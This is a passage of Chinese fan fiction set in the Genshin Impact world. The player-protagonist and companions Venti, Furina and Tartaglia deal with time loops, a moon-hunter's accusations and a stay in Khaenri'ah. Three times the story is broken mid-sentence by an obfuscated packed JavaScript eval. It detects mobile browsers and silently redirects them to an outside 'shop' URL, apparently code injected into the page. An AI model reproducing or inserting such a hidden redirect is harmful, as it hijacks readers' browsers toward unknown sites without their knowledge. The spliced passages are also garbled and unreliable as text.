哪怕这猜测荒诞到胜过枫丹的癫狂歌剧,念头的起源也只是高塔孤王身上微不足道的疑点。 但是,这个世界本就开幕雷击。 发生什么事情,都不值得意外。 “说不定有一天还能看到三个岩神呢。”回归队伍的风精灵笑眯眯打趣。 …… 玩家接回了温迪。 一切说来话长。 他们先是深入调查了芬德尼尔废墟上的地脉异常淤积,然后发现那里可以通往保存温迪记忆碎片的秘境。 他们在秘境中完整地见证了巴巴托斯成就风神的上一世。 元素精灵,高塔之子,弑父之神,尘世执政,微风与希望的象征,无忧国度的至高存在,时间的僭越者,信徒的囚鸟,自由的堕神,叛天的龙卷,散逸于时间轴的千风一缕…… 以上这些精简的词语可以概括玩家所遇到的温迪在第一次死亡前的所有经历。 也为玩家某个骇人听闻的猜测成为事实埋下了重要伏笔。 时之执政伊斯塔露赠予温迪时之力的代价,就是温迪的余生都会成为命运的棋子。 余生是永恒。永恒的长度是提瓦特的一切兴衰,永恒的厚度是提瓦特的所有轮回。 不那么抽象地说,就是温迪死后化作无数碎片投身到不同的时间轴、不同的世界线中,去以不同的身份推动重要角色的命运。 他是被风冠名的吟游诗人。 他是统治蒙德的烈风之王。 他是世界终末的时之执政。 但是这些存在又可以不是他。 就像是一场相似的剧目会重演很多遍,同一个角色对应的演员可以更新迭代,温迪不必重复扮演,他们已成为真正独立的个体。 玩家确实也很难在上面提到的三个角色的身上找到温迪的影子。 哪怕吟游诗人拥有和温迪一样的脸,哪怕高塔的君王保留温迪的部分记忆,哪怕时之执政伊斯塔露就是温迪融合时间的造物。 “这就是真正意义上的,不要把角色和演员混为一谈吧。”芙宁娜伸了个懒腰,“蒙德这些好戏,让我怀疑枫丹逃脱预言也是另一种命中注定了。” 她撇嘴:“真是癫狂的命运,而且,竟然真的有我这个凡人撰写诸神命运的机会?” …… 从秘境中知道命运的真相,玩家第一时间找到迭卡拉庇安,询问如何完成时间闭环。 “……不要问我。”迭卡拉庇安回答,“我在尝试打破时间闭环。” 所以他将温迪带回高塔驯养,所以他重伤玩家借机杀死了驯养失败的自己。 “……”玩家难以置信。 玩家在迭卡拉庇安重复他只能找到温迪尸体的时候上去就是一口,然后在造成更大的混乱之前被达达利亚拖走了。 芙宁娜若有所思地从宫殿里出来。 她询问玩家之前是不是吃了一口迭卡拉庇安,那现在等同于玩家也吃了温迪,并且由于玩家身上也具有特殊的时间特性,所以可以说玩家体内保存着死于芬德尼尔之巅的温迪。 玩家陷入思考。 玩家尝试把之前迭卡拉庇安的力量剥离出来,然后抱着一团光球:“我不会捏人。” 玩家看向芙宁娜。脸上写着芙卡洛斯建模那么厉害芙宁娜也一定很有天赋。 芙宁娜敲了玩家脑壳表示不可能,达达利亚盯着那团光球,冷不丁说玩家保存了迭卡拉庇安力量这么久,在关键时刻却仍能轻松将这股力量完整地分离出来。 “你能剥离自己身上的时间力量吗?” 玩家看了看达达利亚背着的新剑,又看了看自己身上的衣服,确信自己身上具有时之力,然后心念一动,把对应的力量全部融合到了光球里面。 达达利亚都来不及张口阻止。 “……我是想你可以借助这个引来时之执政。”达达利亚默默把嘴闭上,“就算要这样试也不要把所有的时间力量都融进去。” “噢,很有用。”芙宁娜凑过去近距离观察有明显变化的光球,“难怪温迪这么亲你,原来你就是他的伊斯塔露……别瞪我呀,我又没说错什么。” 芙宁娜不客气地把达达利亚的脑袋扭了一个方向,又揉了揉玩家同样绷紧的小脸,兴致勃勃询问光球的孵化时间。 玩家说很快。 毕竟他们在时间秘境中待了很久,对应的现实也已经很接近五年,他们不用等多长时间,就可以把温迪放归高塔。 “但是,这样好无聊啊,只是帮忙衔接原本的剧本,没有其他更有趣的发展吗?”芙宁娜托起下巴,“打破时间闭环什么的听上去就很有让人尝试的欲望。” 玩家联想到同样说这句话的迭卡拉庇安,但是芙宁娜期待的,肯定不是让那位孤傲的魔神登上神位,而是另外的阖家团圆。 ——可惜大团圆并不容易。 芙宁娜的剧本失效了一大半,他们这个小队拯救了很多,但同样引发了很多额外悲剧,芙宁娜对此相当懊恼,更共情了玩家当时牵连温迪的愧疚自责。 “现实的故事本来就不完美。”少年身形的吟游诗人路过,摇晃着他黑色的长辫,“我倒流那么多次时间都达不成的结局,你们一次就想成功是不是太贪婪了?” 他在决战时坐于高墙废墟,漫不经心拨弄琴弦:“你们已经做的够好了,我始终庆幸,在这场循环往复的旅途中,温迪能结交到你们这样的朋友。” 他展露笑容,望向了喘息的迭卡拉庇安:“该上路了,我亲爱的神明,让我们成为未来的神话,让风将故事的种子……重新播撒至下一个黎明。” 玩家参与了高塔的决战。 迭卡拉庇安被风暴撕成碎片,人类少年弹奏琴弦的手指逐渐僵硬,玩家看着温迪顺应历史成为了巴巴托斯,然后垂眸对上他的视线。 温迪说他会抹去自己这段时间的记忆,也不会记得高塔孤王和无名少年的真相,他得乖乖听从天空岛的话继续顺应蒙德的命运。 “这句话毫无说服力。”玩家说道。 虽然他们没能打破时间闭环,但芙宁娜说,温迪分散于各个时间轴的碎片正在不断提高对命运的影响力,总有一天他能将时之执政和自己的命运彻底连接,取而代之。 用玩家脑子的游戏剧情比喻,那就像是坎瑞亚罪人之一黄金莱茵多特 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17064542|194078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃掉生之执政纳贝里士那样。 “好粗鲁啊。”温迪忍俊不禁,“但我喜欢你这种粗鲁的提议。” 他的手按上玩家的心胸。 “你也可以尝试窃夺「空」的命运。”与剧情里大相径庭的巴巴托斯语气轻柔,“毕竟你本就是被坎瑞亚的黑王以降临者为媒介拉入世界的——” 玩家听到了一个名字。 他猛地向后跌倒,周围的场景如破碎的镜面瞬间崩裂,无数记忆倒灌却又像是流沙般轻而易举流走。 玩家看到猎月人近在咫尺的脸。 玩家缓慢地眨眼,他抬手,掐着脖子将猎月人掼到了地上,盯着那已经被深渊力量彻底扭曲意志的亡灵。 “我是谁?”玩家问道。 背后的同伴刹那止步。 “你想让我怎么称呼你?”猎月人被卡住咽喉,他异化的血红眼睛映出上方居高临下的玩家,用一种近乎恐怖的浓烈情绪看着玩家,“黑龙?” 他仍叫着玩家耳熟能详的某个称谓。 玩家听不懂,玩家不理解,玩家想到温迪的话,只是加大了手中的力道,询问他以反主的样貌降临到这个世界,是否和坎瑞亚有关。 猎月人看着他。 那精神已被深渊彻底污染的敌人像是彻底认定他已遗忘了不该忘记的过去,于是在脑袋几乎被从脖子上撕下的濒死时刻,他笑了起来。 “你剜去眼睛维瑟弗尼尔的眼睛,断掉苏尔特洛奇的四肢,你蛊惑我瓜分王子殿下的力量,现在你以救世英雄的姿态站在这里问我你是谁。” 他的手挣扎间拽住了玩家的衣领,将玩家的脸拉得更近:“也只有戴因会相信你能作为王把坎瑞亚带到更好的时代,你……” “——把死亡还给我,把我的索琳蒂丝……还给我!!!” 无数恶念化作实质的触手吞没了玩家的视野,他再度因为失神而被猎月人给予了致命一击,但这次长剑破开了黑雾,有风托举着他安全撤离,有战士将武器狠扎进了猎月人身体。 猎月人按住死死卡在他心脏位置的长枪,他察觉到那是坎瑞亚出品的锻造武器,而且是亡国之后的精炼产品。 “哈……戴因那家伙,还是辜负了维瑟弗尼尔对他的期望……” 黑气顺着枪身如蛇般如影随形,达达利亚折断手中枪,仰面躲过猎月人的致命攻击,半截武器化作长弓,搭载神之眼赋能的水龙之力将敌人黏连于原地;半截武器自猎月人背后穿透,化作箭矢被风元素挟持自动归位,时空之力蠢蠢欲动。 他一箭射出。 空间于眼前崩裂,血月落回倒影,猎月人的身影化作无数碎片消失于众人眼前,达达利亚失重后仰,被芙宁娜以水托举,平稳落地。 “不错,总算有点勇者的样子了。”芙宁娜在鼓掌。 “总不能让师父你们白教我吧。”达达利亚回答,却在落地的第一时间看向玩家的方向。 “你还好吗?”温迪询问被他扶住的玩家,声音关切。 玩家点了点头,又摇了摇头。 他很好。只是有很多事想不通。 他看着温迪:“你和他跟我说的那些话,是在说我是变成黑龙的黑王?” 15.015 玩家不该听疯子的话。 猎月人刚才说的那些,都是坎瑞亚末代帝王黑王犯下的罪,他把罪安放在玩家头上,就是他思维混乱的一种表现。 但是,玩家又不得不多想。 他想到戴因仰头看他的精神恍惚,想到温迪把他推开前说的话,想到他自己执着于勇者救世的命途。 玩家可能是提瓦特本土的存在吗? 记忆里手握鼠标按压键盘操纵游戏主角体验世界剧情的快乐都是假的。 玩家不是玩家。 玩家只是一个垂涎主角命运的反派,他妄图霸占救世主的名字,将整个世界拖入恶劣的深渊。 被时间永恒奴隶的温迪就是他的第一个战利品。 已经死过一次的达达利亚,与水仙十字结社交好的芙宁娜,乃至之前已经相遇之后可能加入队伍的剧情角色,他们的命运都会被反派彻底扭曲—— 啪。 玩家把手心贴住了自己的脸。 此时距离他向温迪问出那句话,只过了两秒钟。 温迪刚出口的音节断在了玩家紧随其后的下一句话中。 “我不会是黑龙,不会是黑王,这个世界强加给我的命运真精彩,祂知道我要是一个凡人就只会窝在房间里打游戏,所以给我增加那么多设定,推动我体验剧情。” 玩家说了很长一句话。 世界有诸多可能,玩家也并非不可能是失去记忆的反派先生,身负黑龙和坎瑞亚的厄运。 但是玩家本性懒惰。 当反派处心积虑,哪有伸出援手得到感恩或者对方的头,那样条理清晰。 “你把我送回来之前打的什么哑迷?”玩家询问。 “我没有保留那段记忆。”温迪举着双手笑容无辜,“有机会去问伊斯塔露吧,我会为了保持‘温迪’的完整性剔除大部分的记忆细节,而她记得所有不该记得的。” “巴巴托斯和我打哑迷的时候是不是也和你们说了什么?”玩家看向另外两人。 “有啊,他笑了半天。”芙宁娜不高兴地单手叉腰,“我跌进血月进入恐怖孤儿院这件事很好笑吗?我可是一个人通关了那个秘境,找到血月的出口又找到了你们!他的鼓掌充满敷衍,毫无礼貌!” “没有哦。”达达利亚抱着维持弓箭形态的武器,笑容爽朗地看着玩家,“温迪把你们带走谈话,把我丢掉了呢。” “温迪。”玩家扭头,“不要光看乐子,不要制造乐子。” 他说温迪该摸摸芙宁娜的帽子或者给她一个拥抱,给予温柔安慰;该把达达利亚同样带进对话的空间,哪怕没什么话可以说给他敌人打一架也是一视同仁。 “我原谅温迪了。”芙宁娜立马双手比了一个叉,“别摸我的帽子,别莫名其妙抱上来!我打赌温迪这样做比笑着鼓掌还要让我生气!” “我被传送到至冬冰原了。”达达利亚耸了耸肩,“温迪没有故意排挤我,只是比起和他对话,我那时候有其他更有趣的事情可以做。” 温迪托着下巴,嬉笑着与玩家对视。 玩家移开视线。 温迪比他更擅长社交,他瞎操心什么劲,芙宁娜和达达利亚,都能和温迪有适配的相处模式。 “接下来,做什么?” 玩家观察着他所处的、不时闪现着蜘蛛网裂痕的不稳定空间。 “要看你想做什么喽。”温迪跟着玩家扫视一圈,“去破解身世之谜?去继续见证他人改写命运?” “把勇者小队爆改成魔王小队也不是不可以。当反派你依然可以一直救人。你该因为改变我们的命运而骄傲。”达达利亚举起武器表明自己的态度,“无论如何,我会在你的身边和你并肩作战。” “越癫狂的剧情,才越让人印象深刻。”芙宁娜抬高了下巴,“你也该趁着找个机会认清自己的目标,我可不想之后被你抱着忏悔,说把我的命运弄得乱七八糟——站在这里,本来就是我们自己的选择。” 玩家看着他们。 这与自己记忆剧情里容貌一致命运却天翻地覆的朋友们。 “好吧。”玩家说道,现在站在这里的人都没有反悔的机会了,“我没有什么想做的,所以就按照世界给我颁布的任务去做吧。” 他抬起手。 召唤出的游戏面板有了新的变化。 【坎瑞亚之章?第五幕?已开启】 变动的只有这行字。 但玩家的手指落在任务界面的空白处,默念着给自己加上待完成的目标。 △传说任务:为了没有眼泪的明天。猎月人带来了你身世的新线索,必须尽早破解谜题,并且把猎月人端上餐桌。 △世界任务:嘲弄命运的资格。队伍里的三位人物角色对你交付了同伴的信任,请尽可能满足他们对新命运的期待。 玩家接取了这两个新任务。 但一想到想到这里没有任务引导,他又要体验剧情又要策划行动,玩家就忍不住头痛。 “我该离开这个时空通道,折返回去询问那些坎瑞亚人,我是谁。”玩家看向他们的来时路。 但吞星之鲸体内的空间本就不稳,前不久又爆发了那种程度的激烈战斗,他们要原路返回,很难,也没必要。 玩家遇到的戴因比原作里更呆。不知道是这个戴因更年轻,还是因为这个戴因受深渊影响更重,总之玩家直觉从戴因那里得不到什么有用的消息。 瑟雷恩不像是能给玩家提供情报的,丑角找不到人,反主、反主说好了不见面就更不可能和玩家在这个时间点相遇。 记起反主给自己做的那顿饭,玩家再次肯定了猎月人对自己的污蔑,也不是特别着急去完成这个看起来没什么奖励的解谜任务了。 不如去孤儿院。 那是壁炉之家。 隶属于愚人众,由执行官仆人管辖。仆人有过换代。二代仆人阿蕾奇诺,同样出身于壁炉之家。 “呐,这是佩佩。”芙宁娜伸手把孤儿院里的白毛小萝莉举起来,“就是她帮我开了门,帮我离开血月倒影然后找到了你们!” 阿蕾奇诺原名佩露薇利。 “你好。”玩家礼貌地和佩露薇利握手,“我是芙宁娜的朋友,我叫空。” “……把我放下。”佩露薇利面无表情,“我不是猫。你在握爪。” “你和猫一样可爱!”芙宁娜毫不掩饰自己对佩露薇利的喜爱,积极贴贴。 “我是克雷薇!”跟在佩露薇利身边的孩子开朗地自我介绍,看向玩家等人的目光充满好奇,“你们都是佩露薇利上次交到的朋友吗?” “可以是。”玩家的怀里被芙宁娜塞了一只执行官幼崽,他与佩露薇利大眼瞪小眼,然后玩家默默把她放下,给她转了一圈给克雷薇推回去。 “你们对极光感兴趣吗?” 玩家这样询问。 他得到了意料之中的回答,所以毫不犹豫在这个夜晚从壁炉之家里偷走了两个可爱的孩子。 “等等?”芙宁娜大叫,“你在干什么?温迪??阿贾克斯???” 玩家平稳落在山顶。 他们回到千年前的至冬。营地一切如常。玩家教训了不听话的吞星之鲸,然后找了极光的最佳观景点。 “看看壁炉之家之外的风景吧。” 佩露薇利和克雷薇仰头,那些炫目的色彩近在咫尺。犹如故事里的童话,化作眼前的现实。 “好、好漂亮……”克雷薇仰着头,“我上次还跟佩露薇利说,长大以后我要和她一起去至冬看极光……” “看到了。”佩露薇利握住克雷薇的手,“我和你都在看。” 玩家心满意足走开。 芙宁娜抱着双臂看着玩家。 玩家止步, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17073764|194078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咳嗽,不好意思压低声音,解释在他所熟悉的命运里,克雷薇会自尽于和佩露薇利的战斗,以此为导火线佩露薇利杀死了迫害她们自相残杀的院长,然后取代院长成为了新任仆人。 “她们没能一起看到极光。”玩家看向肩靠肩的两个孩子,“所以我想让她们一起看。” 一次,两次,数不清次。 “原来如此。”芙宁娜点头,“所以我们接下来要带着这两个孩子一起冒险?” 跟着点头的玩家停止点头。 玩家:“不能送回去吗?” 温迪:“这么看着我也没用啦……我送不回去哦。” 从壁炉之家带走佩露薇利和克雷薇,多亏温迪的时之力;可要将这两个孩子送归她们的家,就是另一个难度。 她们在更久远的未来。 玩家能与她们相遇,主要归功于佩露薇利体内的厄月血火意外与时空隧道产生链接,如今要回去,还是得看佩露薇利。 很可惜佩露薇利尚且年少,不能很好地运用她的血脉力量,而且就算她将厄月血火使用得炉火纯青,也难以复刻时空穿越的奇迹。 还有猎月人和吞星之鲸这两个变量需要纳入考虑范围。 “现在这个时间点猎月人都没出生。”达达利亚路过把鱼缸放下,“它的话,现在连小孩子都吞不下。” “时空跳跃太多次,下意识以为很容易就能回去。”玩家反省,然后做出新的决定,“那就暂时留着她们。” “不……”芙宁娜总算找回了刚才痛心疾首的情绪,“你问过她们的意见了吗?” “忘记了。”玩家说道,“但待在我身边会比待在壁炉之家更痛苦吗?” 玩家蹲下来,戳戳鲸鱼幼崽。 吞星之鲸缩成一团,可怜兮兮。 “当然不会。”达达利亚再次路过,这次他的怀里抱着准备投喂给孩子们的零食,他迈着脚步,语气轻快,“还能满足她们变强的愿望。这里会是比壁炉之家更适合他们的家。” “喂!”芙宁娜喊道。 “变强不是院长的愿望吗?”玩家询问已经和佩露薇利、克雷薇熟络起来的达达利亚。 “也是她们的。”达达利亚回答,“孩子长大了变强了才能保护新的孩子,也保护自己的妈妈,不是吗?” “是的。”玩家回答,“芙宁娜你明明也很欢迎她们的到来。” “明明是我先来的。”芙宁娜幽怨地瞪了一眼玩家,“想把佩佩带走也好,给克雷薇一个新家也好……为什么都能被你们抢先一步?” 她大声指责:“这种情况下该学习温迪好好站在那里等着我给你们介绍新朋友才对!不要偷跑啊!” “所以是温迪哥哥吹走了风雪让我在最棒的夜晚看到了最棒的极光……哎?真的假的?还能带我们飞得更高看的更清楚吗?” 芙宁娜深吸一口气。 她气势冲冲朝着温迪过去:“给我留点表现机会呀!现在我不就成为了唯一不欢迎新人的坏家伙了吗?” 玩家盯着她活泼的背影,点头。 原作里因为某些原因,芙宁娜基本躲着第四席执行官走。这里反而是芙宁娜很喜欢佩露薇利,佩露薇利抗拒芙宁娜的热情。真是有意思。 “有时候改变命运就是为了看到这么精彩的反差。”玩家感叹。 “之前你也有过类似的表情。”达达利亚看向玩家,“在看到国崩、木偶、瑟雷恩的时候。” “还有你。”玩家说道,“都是至冬女皇麾下的愚人众执行官。我更熟悉执行官时期的你们。” “噢。”玩家记起什么,“之前跟你解释过执行官这个概念吧?” “解释过。”达达利亚弯起眼睛,“所以我很清楚我和你口中的达达利亚几乎是两个人。” 他说他难以想象现在的他可以全心全意地效忠冰之女皇。 16.016 游戏社区有个if线的脑洞。 执行官和尘世七执政互换身份。 比如说,一席队长是火神,二席博士是草神,四席仆人是水神,六席散兵是雷神,八席女士是风神,九席富人是岩神,十一席公子是冰神。 这本只是无稽之谈的脑洞。 但玩家刚才听出了达达利亚想要在至冬登神的愿望。 ……登神是执行官的传统。原剧情里的六席散兵和二席博士都有过这等僭越尝试。现在达达利亚算是延续了愚人众执行官的优秀传统了。 被玩家带坏了。 也不对。毕竟原作里的达达利亚,本就是说出只要能让他变强,神之眼邪眼师承深渊的罪人都无所谓的争强好胜之人。 “加油。”玩家鼓励。 他很看好。 毕竟现在的达达利亚已经能重伤猎月人,和魔神战斗、和尘世执政战斗、和四大执政战斗的未来,也值得期待。 “我打算前往主城。”达达利亚精准望向了风雪之外,“现在我们所处的挪德莱卡距离那里并不远。” “好。”玩家开始在脑内勾勒路线。 然后达达利亚哑然失笑表示自己说这句话是准备一个人离开一段时间。 玩家愣了下。 他看了看达达利亚,又看了看那边闹成一团的新队友。 “好啊,我再给你加固这把剑,没有一次通关也没关系,有温迪兜底。” 玩家被达达利亚拒绝了。 眼前的年轻战士哭笑不得:“我喜欢战斗,但不意味着我喜欢找死,我离开不是想要一个人挑战冰神,只是想要一个人历练一段时间。不然一直有你们兜底,我也是会被惯坏的。” 玩家仰头:“你一直在战斗。”达达利亚没有一天停下训练和实战。 “还是不一样的,我会受伤,但你会死在我之前。”达达利亚拉拢玩家肩膀上披着的银白大氅,“趁着这段时间你带着两个孩子不会随便去危险的地方,我正好出去找找趁手的强敌。” 他把那剑化作的头饰别在了玩家的长辫上:“你才是,不要仗着自己可以一直从头来过,干脆利落死了然后等下次复活再报复敌人。” 玩家移开视线。 游戏就是这样。他没有攻略,只能一次次试错。至少达达利亚面前的玩家不是一命通关的高端玩家。 “还有一件事。”达达利亚的手搭在玩家的肩膀上。 “我的家人也在至冬。之前温迪和你们谈话的时候,送我去见了他们,之后有机会我一定要把你们介绍给他们认识。” 玩家理所当然点头。 这种绝对会发生的未来,就不用跟他特意交代一遍了。 …… “他是不是没听出来你就是白沙皇时期的阿贾克斯,不是冰之女皇统治时代的阿贾克斯?”温迪忍笑。 “我总不可能跟他说我不是他认识的那位公子吧。”达达利亚很无奈,“我尝试了。然后他说你和芙宁娜和佩露薇利也不是他记忆里的本人。” “没关系,我也没跟他说我和芙卡洛斯认识的风神是魔女小姐,巴巴托斯是失踪很久的初代神。”芙宁娜摊手。 “哎呀,没关系的,他总能知道的这个世界和他熟悉的剧情差异有多大。”温迪语气轻快,“从某种角度而言真的是执行官与神互换命座……不过枫丹未来的水神,我记得不是原本的四席,而是之前见过的那位木偶?” “对,阿兰以玛丽安为数据样本制造的木偶。”芙宁娜兴致勃勃,“克雷薇跟我说,在她和佩佩生活的那个时代,枫丹的最高代理是桑多涅——就是木偶。” “好消息。”达达利亚鼓掌,“可惜我没能从他们口中问出至冬的情报。但之前在你的时代远远看过冰之女皇的授勋仪式,真遗憾我没有身在其中。” “你的语气一点儿也不遗憾。”芙宁娜撇嘴,“在回到猎月人那个时间之前,你是不是被温迪送去了至冬?在那里绝对得到了未来的你成为了不起的大人物——之类的消息吧?” “不,我只是赶上了我的祭日。”达达利亚无奈,“我的家人以为我在海上遇难,都追悼我好几年了……所以我趁现在只失踪了半年,回去给我的弟弟妹妹和爸爸妈妈报平安。” “噢……”温迪表示即使他们身处过去也无法改变命运,只是完成命运,所以达达利亚的追悼仪式还是会有的,“但可能是众所周知的假死。” “那我喜欢这样。”达达利亚伸出手和温迪的胸膛碰拳,又看向芙宁娜。 “走之前来我这里领剧本,我会给命运一份完美的答卷。”芙宁娜拨高了自己的帽子,“以及,温迪,你刚才说的‘回到改变命运只是在完成命运’什么的,是不是空提到过的月神台词?” “哎呀,我会注意不要让他对我的故事背景产生新的既视感的。”温迪举起手,满脸无辜,“不过也没关系吧,日光之下,并无新事,上次我在蒙德杂糅枫丹稻妻须弥的双生神剧情空也没有嫌弃我的剧情老套啊。” “还记得上次我在高塔跟迭卡拉庇安说的那些话吗?”温迪点头,而芙宁娜不客气地点上温迪的眉心,“——不许记得,你只保留‘温迪’的记忆就好,禁止偷藏其他时间线其他身份的记忆,不要让‘温迪’这一个体与别的存在混淆。” “啊,原来推翻高塔那个剧情也是临时编的吗?”达达利亚才反应过来,“等等,那高塔孤王?” “我在故事的开始只是一只小小风精灵,就算许诺我的永恒,时间魔神也看不上啊。”温迪笑眯眯看过来,“我影响了高塔孤王的记忆,让他和命运都以为他是我的分支,让时之执政以为我是她诞生的起点,这才能骗取时间权柄的赠礼。” “他们以为温迪和他们是一个人,所以才能对温迪这么仁慈。”芙宁娜表示她这个优秀的演员早在一开始便看穿了风神的诡计,不过谎言与否对他们并不重要,只要能拿到他们想要的结果,那么结局就是真相。 而过程中掌握更多情报的人有更多可能去决定结局。芙宁娜当时也成功哄得迭卡拉庇安手下留情,让高塔孤王选择成就另一个自己。 “啊,我向父神忏悔。”温迪双手交叠置于胸前虔诚祈祷,“我既不是他的孩子,也不是他本人,我能得到时之力也不是因为时之执政眷顾我,是我算计。” “……我忽然觉得我没有说出口的事情不算什么了。”达达利亚真诚发声,并且对芙宁娜即将提供的剧本充满期待。 离开之后达达利亚打开芙宁娜塞给他的薄薄一张纸。 “在这里登记至冬的蛋糕食谱噢!”芙宁娜签字,“噢,对了,你自由发挥就好,要是给你写很长的剧本你这家伙就算记住临场的时候也发挥不出最佳效果啦,所以吃好喝好睡好——好好战斗吧阿贾克斯!” “记得带冰火回来!”旁边还有温迪对至冬酒水的热情留言。 达达利亚深吸一口气,把纸合上,去翻看玩家的临别赠礼。 其实只是吞星之鲸。 玩家说达达利亚可以把吞星之鲸安置在临时据点,被追杀打不过的时候可以扒拉开吞星之鲸的嘴巴跳进去。 其实这个用法很鸡肋。 毕竟达达利亚不太可能会带着鱼缸上战场。要是吞星之鲸就在现场,达达利亚也没有那个时间扒开它嘴巴把自己整个身体塞进去。 不过—— “带去给我的家人们看看。”达达利亚手指抵住了鲸鱼的头顶,“告诉他们,我在外面有了一个新家还养了一只宠物。”有点糟糕,他已经开始想念了。 …… 玩家正在前往坎瑞亚的路上。 这个时间点,芬德尼尔刚亡国,坎瑞亚建国预备中。 坎瑞亚有两个王朝,第一个王朝是赤月,第二个王朝是黑日。 佩露薇利身负赤月王朝的血统,黑日王朝是戴因等人生活的时代。 黑日王朝的猎月人雷利尔还参与了对赤月王朝后裔的赶尽杀绝计划。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17082222|194078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >在坎瑞亚尚存的时候,赤月王朝的遗裔便很稀少,更不用说坎瑞亚覆灭后五百年的提瓦特,身负赤月血统还能使用厄月血火的佩露薇利是多么独一无二。 “但在这里你可以看到很多和你一样的孩子。”玩家说道,“也更容易找到掌握自己力量的传承。” “太好了佩露薇利!”克雷薇高兴地握紧了身侧好友的手,“这样你身上的诅咒能很好得被抑制,你能更快变强!” 厄月血火是天资也是诅咒,可以想象佩露薇利体内的火焰像血液一样在体内流淌,她已经承受得很好,但偶尔发作,指尖到手臂呈现的焦炭模样还是触目惊心。 佩露薇利用自己正覆盖漆黑纹路的手回握了克雷薇的指尖:“嗯,不要被我落下,等我带你回家,你要继承壁炉之家。” 身为院长之女的克雷薇重重点头。 玩家对眼前一幕,喜闻乐见。 看起来他临走前只把院长锤进墙里的举动是正确的,这位反派还得留给克雷薇和佩露薇利亲自决定结局。 一行人在坎瑞亚度过了愉快时光。 芙宁娜想去这个时间的枫丹看看。 芙宁娜拒绝了玩家跟随的提议。 “我只是远远地看一眼啦,没有介入枫丹历史的打算。”芙宁娜给玩家递了一块小蛋糕,“我一个普普通通的人类跑去枫丹不会引起任何人的注意,你这家伙要是一起,那性质就不一样了。” 玩家板着脸:“不要把我开除人籍。”虽然很多人都嚷嚷着玩家是黑龙,但玩家显然更认可自己的人类身份。 “好好好,吃蛋糕。”芙宁娜又给玩家塞了勺子,“总之,我也要离开一段时间,让温迪陪着你吧,他应该没什么兴趣再回这个时期的蒙德。” “好。”玩家点头,“等你回来。” 于是玩家目送又一名伙伴远去。 然后没过多久温迪尴尬地出现在玩家面前,心虚表示他得回去继承神位。 “?”玩家茫然,“还没到你和高塔孤王闹掰的时间点……” “那是一周目的蒙德。”温迪摊手,“这里是二周目。我拥有高塔的顺位继承权,不和迭卡拉庇安打架。我去走个过场,顺便和蒙德另一位魔神谈判。等领取完尘世执政的资格……” 温迪苦着脸:“还是回不来。” 他的情况和回去看看家乡的达达利亚和芙宁娜还不一样。当选蒙德的风神之后,温迪基本不能继续这段旅途了。 “我都做过一次尘世执政了,再让我重复之前的工作我只会在野外睡大觉的。”温迪握住玩家的手,可怜兮兮,“要是能和你们一直冒险就好了……有没有可以推荐的新任风神人选?” 玩家又记起那个身份互换梗。 他顿了一秒,摇头:“这太荒谬了,你可以成神之后继续和我们冒险……嗯,这也很荒谬。” 温迪笑起来:“刚才那个瞬间空的脑子里浮现的是哪个名字?” “……罗莎琳。”玩家老老实实报出了愚人众第八席席诺拉的本名。 “我知道了。”拥抱了玩家的温迪也从玩家的视线里消失。 玩家沉思温迪不会真打算找罗莎琳继任吧。转念一想这毫无逻辑,原作里风神和八席的关系是众所周知的恶劣这件事先不提,那因仇恨化身魔女的执行官真的能担任蒙德的神明吗? “算了,反正都会回来的。” 玩家自言自语走开,过段时间又送走了觉醒力量打开血月通道的佩露薇利和克雷薇,他郁闷地坐在坎瑞亚的土地上,思考着怎么一转眼自己就变成了孤家寡人。 好在玩家很快适应了新生活,他在坎瑞亚定居下来,靠打猎满足日常花销和食物供给,还有新朋友闯入他的住地,不由分说与他建立友好关系。 “早上好,贤者。”伊尔明笑着和玩家打招呼。 ——如果这位新朋友的名字不和坎瑞亚末代皇帝黑王一模一样就好了。 玩家不至于在坎瑞亚住这么久吧? 17.017 玩家对时间没有概念。 玩家有找时间的参照物。但是达达利亚、芙宁娜和温迪没有一个回来找他,玩家也就自顾自认为也没有多久。 但是,好像真的很久了。 周围不再出现野生的猎物,只有野生的贡品和被驱赶进来的食物,门前的访客换了一波又一波,就是新朋友的面孔太多,基本又是一面之缘,所以玩家没能发现第一个陌生人和眼前这个陌生人之间横跨了二十个世纪。 直到伊尔明报出了他的名字。 玩家前往地底之上。 玩家被迫止步在边界。 他抬起手,触碰日光的手化作翻滚的泥泞,收回不见光的阴影之中,那黑雾又化作了正常的指尖。 玩家从伊尔明的眼中看到了如今自己在人类眼中的模样。 就是一团不可捉摸的泥泞。只有他自己看自己是人形,而一旦他踏出坎瑞亚,他自己都看不见自己的人形了。 玩家调出自己的任务界面,发现之前自己心中默念的《为了没有眼泪的明天》这一身世任务,已经写入了面板。 “贤者?”伊尔明还在用那种微妙的敬称和玩家对话。 贤者说的是玩家。 